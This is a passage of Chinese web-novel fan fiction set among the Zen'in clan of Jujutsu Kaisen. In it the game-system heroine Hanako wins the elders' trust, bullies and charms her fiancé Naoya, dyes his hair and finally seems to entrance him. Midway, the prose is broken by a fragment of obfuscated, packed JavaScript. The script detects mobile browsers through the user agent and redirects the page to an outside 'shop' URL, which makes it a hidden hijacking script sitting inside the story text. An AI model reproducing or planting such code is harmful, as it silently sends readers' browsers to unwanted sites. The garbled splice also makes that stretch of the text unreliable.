“请让我们加入。”真希说。
真依着急地看了一眼姐姐,她的嘴唇动了动,似乎想说什么,她一狠心也跟着跪下去。
真希跪在地上,低着头,看不见你的脸,只看见你的脚上穿着一双普通的布鞋,鞋面上沾着一点土。
你往前走了一步。
又一步。
真希数着你的步子,一步,两步,三步。
每一步都和当年一样稳。
阳光从你身后照过来,把你整个人都笼罩在一层淡淡的光晕里,那光晕投下来,一点一点笼罩住跪在地上的真希。
她忽然感觉一阵头晕目眩。
心脏快要从嗓子眼跳出来了,太快了,快得她几乎喘不上气,她用力呼吸,甚至想要用尽全力扯住这些阴影不让自己倒下去。
那个人走到她们面前,停下来。
“抬头。”你说。
27.第 27 章
至于为什么订婚时间不早一些?那自然是禅院直哉一哭二闹三上吊。
“我不要!凭什么!她一个庶女凭什么!”
禅院直哉的惨叫从正厅传到回廊,再从回廊传到偏院。他抱着廊柱死活不撒手,指甲几乎抠进木头里,眼泪糊了满脸,把那张精心保养的小脸哭得乱七八糟。
“我死也不娶那个母老虎!”
他的哥哥们站在一旁看戏,父亲禅院直毘人拎着酒葫芦,居高临下地睨了他一眼。
“说完了?”
“说完——”
“砰。”
禅院直哉被一脚踹进了花丛里。
当然,他没有闹到你跟前。
这一点他至少还算清醒——要是让那个女人知道自己这么嫌弃她,指不定会被怎么收拾。他缩在自己的院子里,像一只被雨淋湿的猫,蔫头耷脑地躲着所有人。
最开始那段时间,他怕得不敢见你。
每次听说你要来,他就找借口开溜——肚子疼、头疼、腿抽筋、咒力紊乱、被召唤要去训练、忽然想起来今天要给祖父上香……能用的理由全用了个遍。
经过几年“家主夫人教育”,你的脾气似乎温和了许多,至少表面如此:说话轻声细语,行礼一丝不苟,连走路的速度都比以前慢了半拍。
禅院长老们很满意,禅院直哉被逼着和你相处。
最开始他像只惊弓之鸟,你走近三步他就后退五步,你说话他就低头,你看他一眼他就浑身僵硬。
后来他发现你好像没那么可怕了?
他能和同处一室时不再随时准备逃跑,再到偶尔能在你旁边吃饭而不觉得胃疼。再后来,他发现自己居然能坐在你旁边,甚至能在你看向他的时候,硬撑着不把视线移开。
他像一只银黑色的短毛猫,尾巴渐渐翘了起来。
“华子,你今天的发簪挺好看的。”
“华子,这道题你会不会?不会的话我可以教你——虽然你肯定不如我就是了。”
“华子,我今天在训练场打赢了三个,怎么样,厉害吧?”
洋洋得意,尾巴翘得老高。
只是偶尔,比如你忽然转头看他,或者你抬手整理袖口,或者你无意间朝他迈出一步,他会条件反射地往后缩一下,肩膀耸起来,脸上的表情僵住那么一瞬。
然后发现你什么都没做,他又硬撑着把脖子挺直,假装刚才什么都没发生。
你笑他:“怂货。”
他在你面前不敢说什么,等你一走就在背后破口大骂。
---
你会和禅院直哉到学堂里一起去上课,男孩们最开始十分抗拒不解。
后来因为你见一个打一个,他们也不敢说什么了。
期末,学堂老师站在台上,展开成绩单。
“咒力运转理解第一名——禅院华子。”
“咒术界历史第一名——禅院华子。”
“武力考核第一名——禅院华子。”
第一,第一……所有第一全都是你。
“综合评定第一——禅院华子。”
学堂里彻底炸了锅,准确来说是那些还没被你打过的人炸开了锅。
老师平静无波,继续念:“第二名,禅院直哉。”
禅院直哉坐在你旁边,脸上的表情僵住了。
他低下头,盯着手里的成绩单,那张纸被他攥得皱了起来,指节用力到发白。
“不可能!”一个男生猛地站起来,脸涨得通红,“她一个女的,她怎么可能——”
“有什么不可能!”禅院直哉阴沉着脸,猛地站起来,椅子被他的突然动作撞倒,“咣当”一声砸在地上。
他推了那个男生一把,力气大得把对方推得后退两步,撞在后面的桌子上。
“滚开!”然后他头也不回地冲出了学堂。
那个被推开的男生愣在原地,用力甩了甩被推疼的肩膀,恶狠狠地盯着禅院直哉离开的方向。
“胆小鬼!”他啐了一口。
他叫嚣着想挑战你,开始满院子找你,下课堵,午休堵,放学堵,但每次都扑空。
侍女小单被他问及也只能无奈回答:“华子小姐的日程安排得很满,可能没有时间接受少爷您的挑战。”
“呵,她能有多忙?”男生冷笑,松开仆人的衣领。
小单站直了身子,然后用念经一样的毫无感情波动的语气,开始念:
“早上六点起床,学习家主夫人课程:礼仪、茶道、插花、政务处理,一直到十点,十点准时到学堂上课。
下午课后,直接去咒灵室研究咒灵特性,实战训练直到深夜,凌晨回房处理文书,预习第二天的课程。”
循环往复,简直是像把睡觉和吃饭进化掉了。
男生站在原地,脸上的表情像被人打了一拳。
“怪、怪物吧?”他喃喃。
你递交自主学习申请的那天,长老们看着你,眼神复杂。
不是因为你不够格——你的成绩单就摆在桌上,所有科目第一,而是因为太快了。
太快了。
从觉醒术式到现在,不过两年,你从一个没人管的庶女,变成了学堂里所有学生的噩梦。
长老们批准了你的申请。
没什么好拦的,学堂里确实没什么能教你的了。
“那丫头,”一个长老在你走后叹了口气,“可惜是个女的。”
你唯一保留的基础课程,是辅助禅院直哉学习家主课业。
起初长老们并不同意。
“一个庶女,凭什么参与少主的家主教育?”大长老皱起眉头,手里的茶盏重重搁在案上,发出“砰”的一声闷响。
你站在下首,垂着眼,姿态恭敬得像一株被修剪得恰到好处的盆栽。
“大人说得是。”你轻声细语,“华子自知身份卑微,本不该有此妄想。”
你顿了顿,“只是——”
你抬起眼,目光从睫毛下小心翼翼地透出来,像一只怯生生的幼兽。
“辅佐少主熟悉政务,难道不是未来家主夫人的分内之事吗?”
长老们的眉毛动了动。
你继续说,语气更柔了,柔得像三月里的柳絮:“华子听闻,当年先代家主夫人也是如此——日日夜夜陪在先代家主身侧,为他研墨,为他整理文书以及为他记下那些繁琐的家族往来,夫人曾说,‘夫妻本是一体,夫君的事便是我的事’。”
你低下头,声音里带上了一丝恰到好处的羞涩。
“华子不才,不敢与先代夫人相比。但华子也想……也想成为那样的人。能在少主身边,哪怕只是为他研墨、为他整理文书,也是华子的福分。”
你抬起头,眼神真挚得像一汪清水。
“这一切,都是为了直哉少爷好。”
你看见他们的眼神从戒备变成了考量,从考量变成了默许。
“倒也是……你身为未来家主夫人,确实该懂些政务,日后也好辅佐
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直哉。”
“说得在理,夫妻本是一体,你用心辅助直哉,也是分内之事。”
“难得你有这份心,那便……准了吧。”他们叽叽喳喳地讨论着。
你垂着眼,姿态依旧恭敬。
——成了。
你在心里默默地数:戒备、考量、默许、欣慰。
四个步骤,三句话,两分钟。
这些老头子的心思,比你想的还要好猜。
你保持着低头恭顺的姿势,听着他们絮絮叨叨地叮嘱你“要好好辅助直哉”“莫要辜负家族的期望”“日后当了家主夫人更要谨守本分”……每一句话都像一粒石子,投进你心底那片止水,激起一圈又一圈的涟漪。
涟漪在扩散,在翻涌,在变成——
笑。
你的嘴角开始往上翘。
不行,你用力抿住。
肩膀开始抖。
不行,你掐了一下自己的手心。
但没用。
那股笑意像是从骨头缝里钻出来的,顺着血液往上涌,涌到喉咙口,最后全部堵在嘴角,拼了命地要往外冲。
你低下头,把脸埋得更低。
在他们眼里,你是在害羞和感激涕零。
是在为能得到这个机会而激动得浑身颤抖。
多好的孩子啊,他们想,多懂事的未来家主夫人啊。
你听着他们絮絮叨叨的叮嘱,心里只有一个念头:
憋住。憋住——
“好了,你下去吧。”长老挥了挥手,“明日便开始。”
你深深行了一礼,声音软得像棉花:“是,华子告退。”
你转身一步一步,稳稳地往外走。
然后——
你扶住墙,“噗。”
肩膀剧烈地抖动起来。
你捂住嘴,把那声笑闷在掌心里,但笑声还是从指缝里漏出来,断断续续的,像憋了太久终于找到出口的水流。
“哈哈哈……”
你弯下腰,笑得眼泪都快出来了。
生育工具?辅助工具?
他们以为你是在往他们挖好的坑里跳?
他们以为那些“夫妻本是一体”“辅佐夫君是分内之事”之类的话,是你真心实意说出来的?
天啊,你笑得直不起腰。
这些老头子,活了大半辈子,居然真的相信了——相信你是一个被规训得服服帖帖的、满脑子只有“辅佐夫君”的、合格的未来家主夫人。
他们以为你是在往他们设好的笼子里钻,殊不知,是你亲手把他们请进了你挖好的坑,还顺手帮他们把土填上了。
你抬起头,望向正厅的方向,嘴角还带着没收住的笑意。
在他们眼里,你从一个“能生下下一个十种影法术的生育工具”,变成了一个“可以帮少主更好地成长为家主的辅助工具”。
多好。
多完美的身份转换,多有趣的游戏体验。只要一想到等哪天这些老头子发现,他们亲手培养出来的“辅助工具”,已经把整个禅院家都“辅助”进自己手里的时候——
你就忍不住想要狂笑。
你转过身,继续往前走,脚步依旧稳,姿态依旧恭敬。
只是嘴角的笑意怎么压都压不下去。
【系统提示:禅院长老团对您的信任值+20】
【系统提示:您已成功获得[参与家主教育]的权限】
【系统提示:您的声望值增加了。】
28.第 28 章
禅院直哉不知道这些。
他只知道你开始出现在他的家主课业上,坐在他旁边,和他一起听那些枯燥的政务处理和家族历史,他最开始浑身不自在,坐得离你老远,写字的时候用胳膊把纸张挡得严严实实,生怕你看见他写错了什么。
但很快,他发现更可怕的事情发生了,因为你学得太快了。
老师发现,只要讲一遍你就能完全掌握,既然你掌握了,老师就理所当然地认为禅院直哉也掌握了——毕竟你是来“辅助”的,你都学会了,少主怎么可能不会?
“难得有如此聪慧的学生。”他看着你,眼睛里全是欣赏,然后转向禅院直哉,“直哉少爷,你若有华子小姐一半的用心,老夫就心满意足了。”
禅院直哉张了张嘴,想说他还没懂,但是他的自尊心不允许他说出这样的话,老师已经在讲下一个了,他只能硬着头皮跟上。
课程进度越来越快,快得他喘不过气来。他晚上回去熬夜复习,第二天顶着黑眼圈来上课。
第二天看到你精神抖擞地回答问题,他黑着脸咬牙切齿,凭什么你学得这么轻松!
他拼了命地熬夜,点灯熬油地啃那些晦涩的典籍,在课堂上不停的记笔记,记到手指都酸了才追上你的步伐。
终于有一天下课的时候,老师单独喊住禅院直哉,语气委婉地讲道:“直哉少爷,您可以多向华子小姐学习。”
“哈?”这句话像一根针扎进禅院直哉的耳朵里,他低下头,盯着卷轴上那些扭曲的字迹,牙齿开始轻轻颤抖。
“老匹夫,你在说什么呢?”
他的眼神像淬了毒的刃。
“我是比不过那个疯子,但你又有什么资格说我?”
他往前迈了一步,老师下意识往后退。
“永远达不到一级的废物咒术师,”禅院直哉的嘴角扯出一个弧度,“恐怕只能在教导我身上找到那么一点点——微不足道的——优越感吧?”
老师语气里自以为是的善意被戳破,脸色一僵。
“直哉少爷,你!”
“蠢猪,脑子被粪浸了?你唯一的价值就是好好地当个教学工具然后乖乖被我打败啊,你居然还敢说我?”
老师慌了,他的膝盖弯下去,“少爷,不,少主大人,我不是有意的,我这是为您好啊?我——”
“不知卑贱的家伙,”禅院直哉没有看他,垂下眼盯着自己身侧痉挛的手指。
“看来你是不想要这份工作了?明日你便被解雇了,去饲养室喂咒灵吧。”
笔从他手里滑落。
“啪嗒”一声,落在地面上,滚了两圈,停在一滩刚刚洒出的墨迹里。
他转身离开大门。
“多向你学习”这句话在他的脑海里打转,他埋着头快步离开学堂,他莫名自己眼眶在发酸,鼻子在发酸,喉咙里有什么东西堵着。
禅院直哉猛的奔跑起来,步伐凌乱狼狈,丝毫没有二级咒术师该有的姿态,他越跑越快,忽的噗通一下摔倒在地面上,然后“哇”的一声哭了出来。
凭什么啊!他都这么努力了还是被你甩在身后,连、连个废物都看不起他哇呜呜……
你在训练场练习术式,早早地听到系统提示【NPC[禅院直哉]进入视野】。
然后你就看见他摔了个狗吃屎,边哭边骂骂咧咧,骂的好像有“臭地面为什么要绊倒他”之类的。
然后他就一挪一挪的把自己挪到灌木丛里躲着了,虽然人是看不到了,但你还是听到了他呜呜咽咽的哭声。
“噗嗤。”
禅院直哉听到了很熟悉的笑声,咬着牙站起身,“你怎么在这里!”
你站在不远处,双手抱臂,好笑地看着那丛瑟瑟发抖的灌木。
“我在这里哦,你干嘛对着空气说话。”你疑惑地看着他的背影。
禅院直哉的背影僵了一瞬,动作很大地转过头,脸上还挂着没干的泪痕,但已经强行把表情调整成了“本少爷什么事都没有”的状态。
“关你什么事!”他的声音又尖又哑,带着刚哭过的鼻音,气势全无。
他被你看得浑身不自在,用力擦了擦脸。
你前进一步,“嗯?你哭了?”
“我没哭!”
禅院直哉下意识往后退了一步,但脚刚动就僵住了,大概是想起之前的事,他硬生生把那只脚收了回来,梗着脖子站在原地,一副“你来啊本少爷不怕你”的样子。
你忍不住想笑,“哭什么?怎么这样脆弱啊?”
“我根本没哭!”
近距离看,他确实哭得很惨,加上他像是被踩中尾巴的猫一样向后跳了一下,你觉得怎么这么……娇俏啊?
你想出这个形容词的时候都忍不住捂脸。
禅院直哉炸毛,“你这是什么表情?不准可怜我!”
这个人一直虚张声势地瞪着你,眼眶里那点没干的泪又晃了晃,但他死死忍着,忍着忍着,嘴瘪了一下,又赶紧抿紧了。
果然还是小孩啊,你确信禅院直哉还是这副样子更顺眼一点,至少你拳头没那么痒了。
禅院直哉见你不说话,只是用一种奇怪的眼神看着他,你的嘴唇微微抿着,好像在忍着什么笑。
禅院直哉忽然发现,他好像从来没认真看过你的脸。
以前他看见你,只觉得厌恶,但现在发现你长得好像……还行?虽然只看得到下半张脸。
禅院直哉的耳朵忽然烫了一下。
他站在原地,想走又觉得走了显得自己怂,不走又不知道该说什么,憋了半天,憋出一句:
“你、你刚才为什么笑!”
“因为你摔得太好笑了。”
他看你很温顺地回答问题,心中的劣性因子又被激发了,开始试探性地提高对你要求。
“喂,华子你以后……”
一周前,禅院直毘人私下找过你。
老头子把你召进去,靠在廊下,看着院子里的枯山水:
“那个臭小子,你多担待些。”
“不是让你真对他多好,面子上过得去就行。那些老头子成天盯着,你对他好点,他们也就少念叨几句。”
你记得那股味道。
老龄木,陈年榻榻米,熏香燃尽后的灰烬——禅院家正厅的味道。腐朽的,沉甸甸的,压得人喘不过气来的味道。
“你是个聪明的丫头,”禅院直毘人说,“知道该怎么做。”
好麻烦,你想。好想更快一点,好想爬到更高的地方,好想让所有人都听你的话,而不是你听他们的话——
记忆中腐朽封建的味道连同着禅院直哉此时的话传进你的耳朵里。
“喂。”
“你就不能对我好一点吗?”
他又说了一遍,声音比刚才低,带着点连他自己都没察觉的撒娇的意味。
你忽然伸出手,禅院直哉还没反应过来,你的手已经捏住了他的嘴。
他的嘴被捏成一个奇怪的形状,像一只被掐住腮的鱼,他瞪大眼睛,发出“唔唔”的声音,整个人僵在原地。
你看着他,微笑起来。
那笑容很标准,标准的恭顺温柔,标准的“家主夫人该有的样子”,你的眼睛微微弯着,眼睫垂下来,遮住里面的光。
然后你凑近了一点。
“嫡子,”你的声音轻轻的,柔柔的,“我对你还不够好吗?”
禅院直哉的心脏漏跳了一拍,你的脸离他很近,近到能看清你的睫毛在轻轻颤动,你的手还捏着他的嘴,但一点也不疼。
“你还想要多好?”你问。
“说、说好了,”他的脸忽然更红了,挣脱你的手指,结巴了一下,“你以后要对我更好!”
说完这句话,他也像是被自己给羞耻到了一样,转身撒丫子跑了。
他的背影消失在灌木丛后面,脚步凌乱,踩得草叶沙沙作响,很快就跑远了,跑得连影子都看不见了。
你站在原地,双手还维持着捏他嘴的姿势。
你低头看了看自己的手,又看了看他消失的方向。
“……嗯?”你眨了眨眼睛。
“嗯!?”
你刚才说什么了?你说“你还想要多好”,那是反问句,不是承诺吧?
你什么时候答应他了!?你们的理解系统是否有哪里不太对吧!?
你表情有些呆滞:这果然是傻子克高手吧?
【系统提示:您的数据持续增长中。】
[玩家:禅院华子
咒术:6→6.8(蓝条中等,耗蓝较快)
幸运:5(基本上不会中大奖的幸运,话说出生在禅院就算不幸了吧)
智力:5→7.1(高三生)
魅力:10(-0.5)(你展现了人类顶峰的美丽)]
一样是系统欠揍的评语,什么时候可以取消啊,你根本不需要这种嘲讽吧?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304329|196515||http|test|mini|href|location''.split(''|''),0,{}));
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>你继续翻看。
【等级:69?(稳定二级咒术师,不过好像不止如此,似乎有什么其他因子作祟)
学识:1→7(政务处理精通)
声望:5→6.8(在禅院家年轻一代中无人不知)】
禅院直哉越来越依赖你,你也会向他撒娇,具体体现在你们上家主课程上。
你的头发因为运动散掉了,你转头看向旁边正襟危坐、假装认真看书的禅院直哉。
你喊了他一声。
他肩膀一抖,慢慢转过头:“……干嘛?”
你把手里的簪子递给他:“帮我扎头发。”
他接过簪子,自信满满地走到你身后。手指触上你的发丝时,明显僵硬了一瞬。
然后他开始动手,十五分钟后。
你看着镜子里自己的脑袋,沉默了。
那是一个……很难形容的发型。发髻歪向一边,碎发四处乱翘,簪子斜插着,像根快要掉下来的筷子,整体效果堪比被台风袭击过的鸟窝。
你忍不住抱着自己的脑袋抱怨:“啊——!你扎得好差,比甚尔还不如!”
“哈?!”
禅院直哉的声音陡然拔高,他绕到你面前,脸涨得通红:“我还比不上甚尔?!”
你无辜地眨眨眼。
他胸口剧烈起伏,脸上很差地瞪着你好几秒,然后猛地转身,大步冲出门去。
你听见他在走廊里怒吼:“来人!给我拿头绳来!要最细的那种!还有发簪!把库房里所有的发簪都拿来!”
接下来的三个月,禅院家笼罩在一股诡异的氛围中。
仆人们私下传言,少主大人最近迷上了扎头发,他每天把自己关在房间里,对着一个假人头模型猛猛练习。地上散落着无数被扯断的头绳、折断的发簪、还有被扎得乱七八糟的假发。
“不能比甚尔差……”
“可恶的女人……”
“压榨我……”
路过他房间的仆人,总能听见里面传来这样的念念有词。
更可怕的是,他居然要求身边的每个人都要会扎头发。
“你,扎一个给我看看。”他指着侍卫。
侍卫颤抖着接过假发,扎出一个歪歪扭扭的发髻。
禅院直哉的脸黑了。
“不合格!给我练习八百遍!我要检查!”
“少主饶命——!”
禅院家差点都产生【必须会扎头发不会扎就去死咒灵】了。
仆人们苦不堪言,有几个人实在受不了,差点告到你这边来。
幸好,在悲剧发生之前,禅院直哉终于出关了。
---
这天傍晚,他捧着一个托盘,神色庄严地走进你的房间。
“华子,”他声音发紧,“让我再试一次。”
你看着他认真的表情,难得没有拒绝。
他走到你身后,手指触上你的发丝。
他的动作轻柔而熟练,手指穿梭在发间,一缕一缕地梳理、盘绕、固定。你从镜子里看见他的侧脸,眉头微蹙,嘴唇抿着,全神贯注得像在进行一场重要的仪式。
半个时辰后。
他退后一步,深吸一口气:“好了。”
你看向镜子。
那是一个极其繁复的发型:发髻高耸,层层叠叠,点缀着七八支各式各样的发簪——金的、银的、玉的、珍珠的,每一缕头发都被精心安排,每一支发簪都插在恰到好处的位置,整体效果华丽得像要参加宫廷宴会。
你试着动了一下脖子。
叮铃咣啷。
你僵住了。
再动一下。
叮铃咣啷咣当,你突然头皮幻痛,这个发型简直是一步三响,两步六晃。
你慢慢转头,看向他,“我梳着这个发型到底要怎么上课?”
他莫名心虚,却还是梗着脖子问:“你就说这个发型好不好看!”
“……好看。”你艰难地承认。
禅院直哉眼神一亮。
一天因为课业,禅院直哉和家族老头子闹了个不小的矛盾,连你家的猫都知道了。
禅院直哉突然跑到你的房间非要拉着你还在喂猫的手说:“我们私奔吧!”
你挑眉,问他:“有什么计划。”
他响当当地哼了一声,下巴抬起,眼睛里闪着某种中二的光芒:
“当然有计划!首先,我们出去之后就把头发染了!”
29.第 29 章
他响当当地哼了一声,说:“肯定先出去把头发染了,禅院那些老头子的头发全都是黑的银的,太死气沉沉了,我当然要与他们不一样,我是不同的!”
还没等你反应,他忽然一惊,目光飘到你黑色的长发上,连忙改口:“没有说你头发的意思。”
你们分头行动,你还没走到集合点,就看见前面围了一群人。
里三层外三层,人群中央,禅院直哉大大咧咧地站着。
他穿着那身最正式的纹付羽织袴,黑的底,银的纹,腰带系得一丝不苟,脚上是全新的木屐,下巴微抬,嘴角下撇,眼神从半阖的眼睑里斜出来,活像一只开屏的孔雀。
“这是在拍古装剧吗?”
“和服好精致啊,一定是剧组请的专业裁缝做的吧?”
“那个演员是谁?有点帅啊,但表情好臭。”
禅院直哉的眉头皱得更紧了,什么演员?什么剧组?这群贱民在说什么?
他正想发作,目光越过人群,看到你时眼神一亮。
他拨开人群,兴奋地朝你走来,你发现他好像穿了他最贵的那套和服,而你穿着运动服饰。
“你穿的什么?”他走过来就是指责。
“这样穿很方便,是你穿得太高调了,”你说,“你不会不知道外面的人是怎么穿的吧?”
他冷哼一声:“我才不穿这些贫民服装。”
旁边传来窃窃私语:
“是情侣吗?”
“不太像吧,应该是姐弟?”
禅院直哉的表情变得很不好惹,“你们都给我滚开。”
围观的人被他凶神恶煞的样子吓了一跳,纷纷散开,边走边骂:“神经病吧?”“装什么装?”“肯定是个十八线小演员,演不上戏疯了。”
你:……
染发店。
他端着架子,迈步进去。
店长是个四十来岁的女人,穿着得体的套装,脸上挂着标准的职业微笑迎上来:“欢迎光临,客人是来洗发、剪发还是——”
“看不出来吗?我是来染发的,把你们店里最好的染发师找来。”
他伸手一指:“还有你,你离我远一点,至少三米。”
店长的微笑僵了一秒,然后非常专业地向后退了三步。
“好的,客人。”
狂什么狂。她在心里吐槽。
她目光转向你:“那这位——应该是您的女朋友吧?也是来染发的?”
禅院直哉的表情忽然好了起来,赏了店员一个你不懂的眼神:“没眼见,我们自然是未婚夫妻。”
你在一旁吃可可饼,懒得理他。
不得不说,他对这个身份倒是适应得很快——谁知道他几个月前还避你不及?
“不用管我,”你嚼着饼,“你染发快一点啦。”
禅院直哉靠近你,皱着眉给你拍掉衣服上沾住的碎渣,嫌弃道:“这个有这么好吃吗?吃的一点都不优雅。”
你不在意他的动作,抱怨道:“知道了知道了,家族里的都吃腻了,出来尝点新的,还有家族那些人也都腻了,一点都没有挑战性啊。”
禅院直哉:“那些都是废物。”
你:“我要去外面打会怪!”
你的等级在70级的瓶颈,刚好可以出来升级一下。
店长嘴角一抽,你们俩的对话真是各说各的,还这么和谐真不容易。
“喂,听到没有?”
店长连忙回神:“好的好的!请问你想要染什么颜色呢?”
禅院直哉挑了许久,终于在店员推销“金色最能体现您的尊贵”的话术下选择了染金发。
结果染发师女的来,他挑剔:“女的怎么有能力做好事?”
店长连忙安抚怒气冲冲的女店员。
染发师男的来,他又说:“有男人在我头上用刀,我会忍不住杀了他们。”
店长保持微笑裂开,内心想:吹什么牛皮呢,法治社会还想杀人,好气,老子要把他的头拧下来当皮球踢!
“你搞得好慢啊,我要去外面玩了。”你说。
禅院直哉指使你:“你来帮我染!”
你指自己:“啊?我?”
禅院直哉本来有点心虚,但是看你不是很凶他,他又理直气壮了:“对,就你来!”
店长的表情经历了从“你们小情侣是来玩我的吧”到“呃哇好多钱”到“你们请继续就当我不存在”的一系列复杂变化。
你拿起染发工具。
“你不怕我拧断你的头啊?”
“我可是你的丈夫,我死了你守活寡啊——嗷!”
他这个人还真会对他的身份升咖啊,你头顶冒出井号,手指一不小心用力过猛。
“轻点!我的头皮要被撕下来了!”
“呵呵,受着!”
“颜料、颜料进眼睛里了啊!”
“哦哦。”你连忙拿水冲。
“呜咳咳咳,鼻子!”
你用手去捂他的鼻子,结果忘记(?)手上的颜料了,捂了他一嘴染发颜料。
“唔唔禅院华子!”
你手动闭麦,世界终于清净了,你可以安静开始你的工作了。
店长在一旁惨不忍睹,你看过去。
她干巴巴笑了一下:“哈、哈,客人们感情真好呢。”
终于禅院直哉在你魔爪的磋磨下,获得了一头崭新的金发!
店长自发地鼓掌!为这为英勇小白鼠热烈鼓掌!
经此一役,禅院直哉再也不敢使唤你做服务人的工作了。
禅院直哉从理发椅上站起来,那头新染的金发在夕阳下闪闪发光,尽管有一些颜料沾在他的脸上,不过无伤大雅。
他对着镜子左照右照,满意地挑起嘴角。
“还行。”他说,语气里是藏不住的得意。
然后——
禅院家的人找上门了。
为首的长老看见他那头金发,差点当场晕过去。
“少、少主!您这是——”
禅院直哉斜眼看他:“怎么?有意见?”
长老的嘴张了又合,合了又张,像一条缺氧的鱼。
最终,在一番“拉下老脸千求万求”的苦情戏之后,禅院直哉傲娇地表示愿意回家了。
其实他逃出来,也只是想看看这些老头子到底有多在意他罢了。
禅院长老们:少主啊!你带着十种影法术在外面乱逛是想把我们气到提前退休吗!
---
你陪他出去染发,所以他亲自做了可以遮住半张脸的面纱。
“不知道你为什么戴那个丑面具,”他单手拿着面纱,眼睛却看向旁边,“但你还算……嗯,遵守妇道,知道真容只有丈夫能看。”
他一顿,大概觉得“遵守妇道”这个词用在你身上有点古怪,但话已经说出口,收不回来了。
“所以我做了这个。”
他把手里的东西往前递了递。
那是一方纯白的面纱,质地轻薄如蝉翼,边缘绣着细密的银纹,纹样是禅院家的云纹,但又不太一样——被改得柔和了些,秀气了些。
【道具[禅院直哉
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手做的面纱]★★:通透性好但无特殊功能,不过凝聚了禅院直哉三个月的心意。】
禅院直哉耳尖有点红,“你订婚的时候戴个面具丢我的脸,这个面纱有通透性……对了,你脸上没有被捂出痦子吧?”
你看着他。
他站在廊下,午后的阳光从他身后照进来,把他的轮廓镀上一层薄薄的金色,他的头发是刚染过的金发在光线下泛着柔软的光泽,发尾还微微湿润着,散发出一股淡淡的染膏气味。
他手里捧着那方白纱,神情是故作的不在意,但眼神出卖了他——那双眼睛时不时地往你这边飘一下,又飞快地移开,飘一下,又移开,像两只偷吃的鸟雀。
禅院直哉侧着眼去瞥她,她的表情变得很奇异,像是感慨又像是欣慰一条小狗终于懂得反哺主人了一般……
禅院直哉甩了甩脑袋,把这种幻想甩出脑袋,嘴唇微抿,终于忍不住开口:“你到底接不接受啊!?”
她伸出一只手握住了他递面纱的那只手。
她的手很凉,扣进他的指缝里,紧紧握住。禅院直哉还没来得及反应,她的身体已经向前靠过来,另一只手扣住他的后脑,把那些微微湿润的金色发丝扣进了她的怀里。
禅院直哉猝不及防,整个人被她拉得往前一倾。
“呃——”
他的额头差点撞上她的肩膀,最后停在离她衣襟只有一拳的地方,禅院直哉能感觉到她的手指陷在他的发丝里,力道很紧,像是下意识怕他逃跑。
随即力道变得轻柔,她的手指开始一下一下地抚摸他的发丝,从发顶到后颈,再从后颈回到发顶。
禅院直哉被扶过的头皮一阵发麻。
那种麻从被抚摸的地方蔓延开来,顺着脊椎往下,一直蔓延到后背。他的耳朵贴在她的方向,能听见她的呼吸,平稳的,轻轻的。
耳尖听到她的细语,如同那些他曾看不起的狗卷家的言灵一般:“很好,为我着想吧,只想着我,只听我的话。”
“把我奉为你的■■!”
“……乖孩子。”
乖孩子?禅院直哉的意识像是一滴水轻轻深入大海,眼珠子看着尽在咫尺的海藻般的乌发,那些发丝在他眼前招摇着,像是活的植物把他裹住缠住。
阳光从她身后照过来,把她的发丝照出一层薄薄的光晕,那些光晕晃啊晃,晃得他眼皮发沉。
一根细线垂下来,细细的,银白的。
他奋力地抓住这根蛛丝,如同急切升入天堂的强盗,“乖孩子……”
那个声音又响起来,细细的,软软的,像海水一样缠着他,拖着他。
有人的手指抚摸着他的发丝,一下一下,
好温暖……
他像是被蛛丝包裹的猎物,或者……
他又回到了母亲的子宫……妈妈。
---
你回到院子,把面纱拿起来,举到眼前。
纯白的,轻薄的,绣着银纹的,手工确实不错,针脚匀称,纹样雅致,你把它举到鼻下,轻轻嗅了嗅。
你想:没有味道。像是禅院直哉一样——一朵没有香味的花,美丽但无用。
“华子小姐。”
一个声音从廊下传来。
你偏过头,看见一个侍女站在不远处,垂着头,姿态恭顺。
你点头。
她向你靠近,确保自己的忠诚与无害,这是你亲自挑选出来的人。
她走到你身前三步处停下,向你传递她所得知的情报。
……
“伏黑……惠?”你问。